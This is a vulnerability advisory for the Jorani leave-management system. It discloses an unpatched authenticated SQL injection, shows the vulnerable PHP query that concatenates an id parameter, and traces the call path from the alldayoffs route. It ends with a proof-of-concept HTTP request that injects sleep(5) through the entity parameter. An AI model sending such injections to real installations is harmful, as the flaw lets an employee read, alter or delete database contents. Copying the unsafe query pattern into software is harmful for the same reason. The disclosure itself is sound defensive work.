Disclaimer
No fix, patch, or official mitigation is available for this vulnerability at the time of publication.
The project maintainer has confirmed the issue but stated that no remediation is planned, as the project is going to be archived.
Organizations relying on this software should consider the vulnerability permanent and evaluate alternative solutions or isolation measures.
Introduction
Jorani is an open-source, web-based leave management and overtime tracking system, designed to help organizations manage employee absences, approvals, and HR workflows in a simple, lightweight way.
Issue
We identified a high-risk vulnerability in the Jorani project affecting the latest development branch (v1.0.4) as well as the master branch. An authenticated SQL injection could allow an employee to extract, alter or delete the database content.
Timeline
| Date | Description |
|---|---|
| 11/08/2025 | Initial report of the vulnerability to the project maintainer |
| 11/08/2025 | Vulnerability acknowledged by the maintainer |
| 12/08/2025 | Technical details and impact analysis sent to the maintainer |
| 22/09/2025 | Follow-up email sent to the maintainer |
| 20/01/2026 | Follow-up email sent to the maintainer |
| - | No response received since then |
Technical details
The function getAllChildrenItem is vulnerable to a SQL injection vulnerability. This function uses the parameter $id and concatenates it directly into the SQL query.
public function getAllChildren($id) {
$query = 'SELECT GetFamilyTree(id) as id' .
' FROM organization' .
' WHERE id =' . $id;
$query = $this->db->query($query);
if(!$query) {
$arr = [];
} else {
$arr = $query->result_array();
}
return $arr;
}
The vulnerable function is called from different places. For example, the route /contracts/calendar/alldayoffs calls the function allDayOffs from Contacts.php.
public function allDayoffs() {
header("Content-Type: application/json");
$start = $this->input->get('start', TRUE);
$end = $this->input->get('end', TRUE);
$entity = $this->input->get('entity', TRUE);
$children = filter_var($this->input->get('children', TRUE), FILTER_VALIDATE_BOOLEAN);
$this->load->model('dayoffs_model');
echo $this->dayoffs_model->allDayoffs($start, $end, $entity, $children);
}
The entity parameter is passed through an HTTP GET parameter, and is injected in the allDayoffs() function call from the dayoffs model. This same parameter is then injected into the getAllChidren vulnerable function.
public function allDayoffs($start, $end, $entity_id, $children) {
$this->lang->load('calendar', $this->session->userdata('language'));
// ...
if ($children === TRUE) {
$this->load->model('organization_model');
$list = $this->organization_model->getAllChildren($entity_id);
$ids = array();
// ...
}
Sending the below HTTP request will execute the sleep SQL statement and send response after a 5 second delay.
GET /contracts/calendar/alldayoffs?entity=sleep(5);&children=true&csrf_test_jorani=c68f62226591858d8fd5003649f4661d&start=2025-07-27&end=2025-09-07&_=1754772955640 HTTP/1.1
Host: jorani.local:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Cookie: [REDACTED]
